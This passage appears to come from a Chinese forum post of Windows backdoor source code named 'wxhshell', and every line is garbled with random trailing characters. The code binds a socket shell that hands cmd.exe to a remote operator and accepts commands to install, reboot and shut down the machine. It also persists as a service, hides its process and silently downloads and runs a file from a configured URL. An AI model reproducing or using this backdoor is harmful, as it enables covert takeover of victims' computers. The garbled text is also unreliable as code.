  .(1$Q6yG  
  // 帮助 {2:H`|x  
  case '?': { %r!#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H[Pb Wy:  
    break; puqH%m+u  
  } >LU*F|F]B  
  // 安装 E>6zwp  
  case 'i': { 4 |5ekwk  
    if(Install()) oG*lU h}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Iwn@%?7  
    else MB |(,{S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ol%*3To  
    break; t583Q/1@  
    } ! 6 $>|  
  // 卸载 nf G:4k,  
  case 'r': { 9wb$_j]F`#  
    if(Uninstall()) ;Ok11wOw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?<LG(WY  
    else n'h )(^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w\2[dd  
    break; 6|dUz*Pr|\  
    } >Ia(g0  
  // 显示 wxhshell 所在路径 <0LB]zDWe6  
  case 'p': { wFd*6%  
    char svExeFile[MAX_PATH]; 4rzioIk  
    strcpy(svExeFile,"\n\r"); 462ae` 6l  
      strcat(svExeFile,ExeFile); *r% mqAx(  
        send(wsh,svExeFile,strlen(svExeFile),0); <s7{6n')  
    break; g<dCUIbcQ  
    } }.gg!V'9w  
  // 重启 ytC{E_  
  case 'b': { pM7BdMp   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PvB?57wkF  
    if(Boot(REBOOT)) Jb$z(?S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P`%ppkzV6  
    else { *HXq`B  
    closesocket(wsh); X%F9.<4  
    ExitThread(0); vaxg^n|v9  
    } G[^G~U\+!  
    break; V[bc-m  
    } 0,A?*CO  
  // 关机 O#U"c5%  
  case 'd': { ) k2NF="o  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JZnWzqFw  
    if(Boot(SHUTDOWN)) `k\1vum  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mcXakWmi  
    else { 'OihA^e  
    closesocket(wsh); aKUr":z  
    ExitThread(0); |zT0g]WH  
    } Ni)#tz_9  
    break; =!c+|X`  
    } J-ZM1HoB  
  // 获取shell ~^C7(g )  
  case 's': { g`6wj|@ =W  
    CmdShell(wsh); <Ztda !  
    closesocket(wsh); eJA{]^Zf  
    ExitThread(0); s*X\%!l9  
    break; &B85;  
  } ii2Z }qe  
  // 退出 C}kJGi  
  case 'x': { $P@cS1sB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); } 2.}fHb2  
    CloseIt(wsh); ,Df36-74v5  
    break; F@lpjW  
    } hpyre B  
  // 离开 S p )}  
  case 'q': { "$'~=' [  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R _Y&Y-  
    closesocket(wsh); 5q#|sVT7R  
    WSACleanup(); yk)j;i4@  
    exit(1); prs<ZxbQb  
    break; Xda<TX@-  
        } iHn]yv3 #  
  } wEbs E<</  
  } eEh0T %9K  
&aQ)x   
  // 提示信息 7EO&:b]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DnFl*T>  
} q{ 1U  
  } Pb;`'<*U  
F)5Aq H/p  
  return; 79x9<,a)  
} o5@ jMU;  
/#=J`*m_  
// shell模块句柄 A m1W<`  
int CmdShell(SOCKET sock) FlG^'UD  
{ T6r~OV5  
STARTUPINFO si; ]e`_.>U  
ZeroMemory(&si,sizeof(si)); QX=;,tr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Kzu9Qm-+z^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pi}H.iF  
PROCESS_INFORMATION ProcessInfo; 5mNXWg7#]  
char cmdline[]="cmd"; sZB6zTX J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j*`!o/=LI  
  return 0; nQHd\/B  
} a0.3$  
mX?{2[  
// 自身启动模式 zn!  
int StartFromService(void) z\Y^x 9  
{ F.5b|&@  
typedef struct hNo>)$v!s  
{ IR8&4qOs  
  DWORD ExitStatus; _q_[<{#  
  DWORD PebBaseAddress; @<=#i  
  DWORD AffinityMask; z=_{jjs  
  DWORD BasePriority; PI \,`^)y  
  ULONG UniqueProcessId; o#) !b:/  
  ULONG InheritedFromUniqueProcessId;  BZc-  
}   PROCESS_BASIC_INFORMATION; <'_GQM`G  
xm0#4GFUS  
PROCNTQSIP NtQueryInformationProcess; {kH^OZ^(e  
JW [\"`x!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \=V[ba:q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cgeS)C7  
mRY6[*u  
  HANDLE             hProcess; f{c[_OR  
  PROCESS_BASIC_INFORMATION pbi; kte.E%.PE  
C+?s~JL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7 aD&\?  
  if(NULL == hInst ) return 0; aQ:f"0fL  
)o</gt)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z 2VCK@0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 32LB*zc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <&%1pZ/6.  
Z;'.pU~  
  if (!NtQueryInformationProcess) return 0; .l5" X>  
y]_8. 0zM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yN<fmi};c  
  if(!hProcess) return 0; VFSn!o:C  
}a1Sfl@`3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f}Tr$r  
KBq aI((  
  CloseHandle(hProcess); *b{lL5  
)V/lRR&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qg{<&V7fE  
if(hProcess==NULL) return 0; u=}bq{  
o[[r_v_d  
HMODULE hMod; r{R7"  
char procName[255]; PZ(<eJ>  
unsigned long cbNeeded; @dCPa7:>&  
PbHh?iH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WTYFtZD[yH  
eu]iwOc&p  
  CloseHandle(hProcess); ls7A5 <  
U.7y8#qf3R  
if(strstr(procName,"services")) return 1; // 以服务启动 `N.$LY;8  
eoe^t:5&  
  return 0; // 注册表启动 Z;~[@7`  
} 9Y%?)t.2  
zHOE.V2Qo  
// 主模块 HU[nN*  
int StartWxhshell(LPSTR lpCmdLine) |z]2KjF&w-  
{ :t{vgi D9  
  SOCKET wsl; }R&5qpl  
BOOL val=TRUE; %s@S|< W  
  int port=0; ?g;ZbD  
  struct sockaddr_in door; 3!9 yuf  
IPR tm!  
  if(wscfg.ws_autoins) Install(); B4:l*P'  
k-pEBh OH  
port=atoi(lpCmdLine); u 1{ym_  
WmjzKCl  
if(port<=0) port=wscfg.ws_port; m?VRX .>  
m_"p$m;  
  WSADATA data; TBKd|D'H  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )| x%o(n  
_|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -+=:+LhSMb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #H6g&)Z_  
  door.sin_family = AF_INET; j"IM,=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c\MsVH2 |  
  door.sin_port = htons(port); A$%!9Cma  
CTkN8{2S  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )ozcr^  
closesocket(wsl); \}x'>6zr2  
return 1; ff}a <w  
} +e8>?dkq  
LJ(n?/z%  
  if(listen(wsl,2) == INVALID_SOCKET) { 6=,#9C9  
closesocket(wsl); CFJjh^ ~=  
return 1; ^[,s_34V  
} ~x4B/zW?  
  Wxhshell(wsl); oCKM5AVWsv  
  WSACleanup(); fQ36Hd?(5  
<@e+-$  
return 0; |[37:m  
p + l_MB  
} C. Ja;RFq  
O GFE*  
// 以NT服务方式启动 ~` \9Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y2#>c*  
{ E!I  
DWORD   status = 0; zzfn0g  
  DWORD   specificError = 0xfffffff; 80$0zbw$  
.FKJ yzL  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xEiX<lguyN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Sc'c$/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pH\^1xj =  
  serviceStatus.dwWin32ExitCode     = 0; zd9]qo  
  serviceStatus.dwServiceSpecificExitCode = 0; inBPT~y  
  serviceStatus.dwCheckPoint       = 0; &=-e`=qJ'6  
  serviceStatus.dwWaitHint       = 0; ]`@]<6  
*F szGn<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r6n5Jz  
  if (hServiceStatusHandle==0) return; "@{4.v^}!  
/:y2Up-  
status = GetLastError(); pYfV~Q^3  
  if (status!=NO_ERROR) IypWVr   
{ Vj=Xcn#*8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3@yTzaq6  
    serviceStatus.dwCheckPoint       = 0; W ~Jzqp9g  
    serviceStatus.dwWaitHint       = 0; 2>$F0 M  
    serviceStatus.dwWin32ExitCode     = status; ]<q}WjXD'  
    serviceStatus.dwServiceSpecificExitCode = specificError; G*(K UG>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *t.q m5h  
    return; whY~=lizn  
  } afY_9g!\  
8Z dUPW\e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; NT@YLhs?  
  serviceStatus.dwCheckPoint       = 0; %'"HGZn b  
  serviceStatus.dwWaitHint       = 0; <rB3[IJo  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B`*f(  
} GOf`Z'\xt  
{Vxc6,=  
// 处理NT服务事件,比如:启动、停止 &"[)s[m+t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v]:+` dV  
{ +mc [S  
switch(fdwControl) DikdC5>O>m  
{ TX23D)CX  
case SERVICE_CONTROL_STOP: ={`CH CI  
  serviceStatus.dwWin32ExitCode = 0; ~!ZmF(:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *#1y6^  
  serviceStatus.dwCheckPoint   = 0; gMs+?SNHAh  
  serviceStatus.dwWaitHint     = 0; N-2([v  
  { Ufdl|smt1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z.3<{-n}0i  
  } }!%JYG^!D  
  return; @~k5+Z  
case SERVICE_CONTROL_PAUSE: )N" Ew0U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V#0 dGP-Z  
  break; pWs\.::B  
case SERVICE_CONTROL_CONTINUE: pb^,Qvnp   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bVoU|`c  
  break; !K3})& w  
case SERVICE_CONTROL_INTERROGATE: 0n:?sFY>  
  break; .xGo\aD  
}; =&A!C"qK4[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |h&<_9  
} "l@A[@R  
/!3ZWXY\  
// 标准应用程序主函数 Y?yo\(Cdx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l{Jt sI  
{ $Y6I_U  
{L@+(I  
// 获取操作系统版本 0K<x=-cCB  
OsIsNt=GetOsVer(); .,3Zj /  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kE/`n],1U  
7J9l.cM3  
  // 从命令行安装 Hm%g_Mt  
  if(strpbrk(lpCmdLine,"iI")) Install(); DY9fF4[9a  
:{LAVMG&^  
  // 下载执行文件 'LVn^TB_f&  
if(wscfg.ws_downexe) { Q}kfM^i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~U6" ?  
  WinExec(wscfg.ws_filenam,SW_HIDE); VeZey)Q  
} OAv>g pw  
`SV"ElRV  
if(!OsIsNt) { AL$W+')  
// 如果时win9x,隐藏进程并且设置为注册表启动 bGv* -;*  
HideProc(); L#D9@V'z  
StartWxhshell(lpCmdLine); *q0`})IQ  
} o`bo#A  
else #HeM,;Xp  
  if(StartFromService()) q-3]jHChh  
  // 以服务方式启动 ddsUz1%l  
  StartServiceCtrlDispatcher(DispatchTable); 0$6*o}N%  
else *5'.!g('  
  // 普通方式启动 [oV{83f  
  StartWxhshell(lpCmdLine); bpCNho$  
#(C/Cx54  
return 0; ;U Yc  
}
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只看该作者 1 发表于: 2006-10-10
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